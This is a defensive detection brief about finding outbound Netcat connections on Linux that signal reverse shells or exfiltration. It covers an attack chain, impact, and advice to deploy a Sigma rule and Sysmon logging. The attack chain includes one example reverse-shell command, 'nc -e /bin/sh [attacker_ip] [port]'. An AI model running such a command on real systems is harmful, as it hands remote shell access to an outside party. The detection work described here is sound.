Detection of Malicious Netcat Usage on Linux
This brief details the detection of suspicious outbound network connections initiated by Netcat (nc, ncat) utilities on Linux systems, which are frequently used by threat actors for C2 communication and data exfiltration.
The Netcat utility and its derivatives (ncat, nc) are common networking tools on Linux systems that, while useful for administration and troubleshooting, are frequently abused during post-exploitation activities. Threat actors utilize these binaries to establish reverse shells, create persistent backdoor access, or exfiltrate data from compromised environments. Because Netcat is a dual-use tool, its presence in network telemetry indicating an outbound connection often serves as a high-fidelity indicator of a potential compromise or active command-and-control (C2) communication. Defenders should focus on identifying unauthorized outbound traffic generated by these specific process names to detect lateral movement or unauthorized data egress.
Attack Chain
- Attacker gains initial access to a Linux host (e.g., via web shell or exploited service).
- Attacker checks for the availability of networking utilities like nc or ncat.
- Attacker executes Netcat to connect to an external malicious listener (e.g., nc -e /bin/sh [attacker_ip] [port]).
- The operating system spawns the Netcat process.
- The Netcat process initiates an outbound network connection via TCP/UDP.
- EDR or Sysmon (Event ID 3) logs the network connection event associated with the process name.
- Attacker establishes a reverse shell session or initiates data exfiltration.
Impact
Successful exploitation of these techniques allows unauthorized parties to gain persistent remote access, move laterally through the internal network, or exfiltrate sensitive data. If left undetected, this activity can lead to full system compromise and significant data breaches within the targeted organization.
Recommendation
Deploy the provided Sigma detection rule to monitor network telemetry for outbound connections originating from Netcat-like binaries. Enable Sysmon Event ID 3 or equivalent EDR process-network logging. Filter out legitimate administrative traffic by baselineing common internal scanning tools or authorized troubleshooting sessions.
Immediate actions
Deploy Sigma rule for Netcat outbound monitoring
Threat Hunt
Search for historical outbound network events containing nc/ncat process names.
Data: Network connection logs
Detection coverage 1
Detect Linux Netcat Outbound Connections
mediumDetects outbound network connections initiated by Netcat or ncat binaries, which are frequently used for reverse shells or exfiltration.
Detection queries are available on the platform. Get full rules →